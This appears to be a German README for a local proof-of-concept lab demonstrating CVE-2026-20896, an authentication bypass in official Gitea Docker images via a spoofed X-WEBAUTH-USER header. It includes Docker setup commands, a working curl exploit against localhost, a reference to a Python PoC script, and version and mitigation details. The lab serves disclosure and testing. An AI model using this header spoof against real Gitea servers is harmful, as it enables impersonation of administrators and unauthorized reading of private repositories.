
Proof-of-Concept-Lab und Python/cURL-Skripte, die CVE-2026-20896 demonstrieren, eine Authentifizierungsumgehung in offiziellen Gitea-Docker-Images über den X-WEBAUTH-USER-Header.
[!WARNING] Verwende diesen PoC nur in einem lokalen Lab oder gegen ein System, für dessen Test du ausdrücklich autorisiert bist.
https://github.com/user-attachments/assets/b73af2fe-0e59-438b-80d6-be93fd75697b
CVE-2026-20896 ist ein Authentifizierungs-Bypass in betroffenen offiziellen Gitea Docker Images. Wenn die Reverse-Proxy-Authentifizierung aktiviert ist, ermöglicht die vom Image generierte Einstellung REVERSE_PROXY_TRUSTED_PROXIES = * einem Client, der das Gitea-Backend erreichen kann, sich über den Header X-WEBAUTH-USER als existierender Benutzer auszugeben.
Das Lab erstellt einen Administrator namens gitea-admin mit einem zufälligen Passwort und speichert CVE-2026-20896_AUTH_BYPASS_CONFIRMED im privaten Repository gitea-admin/private-proof. Das Lesen dieser Datei, ohne das zufällige Administratorpasswort zu kennen, demonstriert den Bypass.
| Kategorie | Version |
|---|---|
| Anfällig | Offizielle gitea/gitea Docker Images ≤ 1.26.2 |
| Erstmals gepatcht | 1.26.3 |
| Empfohlen | 1.26.4 oder später |
Die anfällige Konfiguration erfordert, dass die Reverse-Proxy-Authentifizierung aktiviert ist und das Gitea-Backend direkt erreichbar ist, oder dass ein vorgeschalteter Proxy den vom Angreifer bereitgestellten Identitäts-Header beibehält. Ein Reverse-Proxy-Container ist für diese lokale Reproduktion nicht erforderlich.
# build
docker build -t cve-2026-20896-gitea-vuln .
# run
docker run -d --rm --name cve-2026-20896-gitea-vuln -p 127.0.0.1:3000:3000 cve-2026-20896-gitea-vuln
Warte einige Sekunden, bis Gitea und das private Proof-Repository initialisiert sind.
curl -s -L -H "X-WEBAUTH-USER: gitea-admin" http://127.0.0.1:3000/gitea-admin/private-proof/raw/branch/main/proof.txt
Eine erfolgreiche Ausnutzung gibt CVE-2026-20896_AUTH_BYPASS_CONFIRMED zurück.
python poc.py http://127.0.0.1:3000
Das Skript vergleicht nicht authentifizierte, Nicht-Admin- und gefälschte Administrator-Anfragen und gibt VULNERABLE aus, wenn der Autorisierungs-Bypass bestätigt wird. Es erfordert Python 3.10 oder später und verwendet nur die Standardbibliothek.
REVERSE_PROXY_TRUSTED_PROXIES auf vertrauenswürdige Proxy-Adressen.docker stop cve-2026-20896-gitea-vuln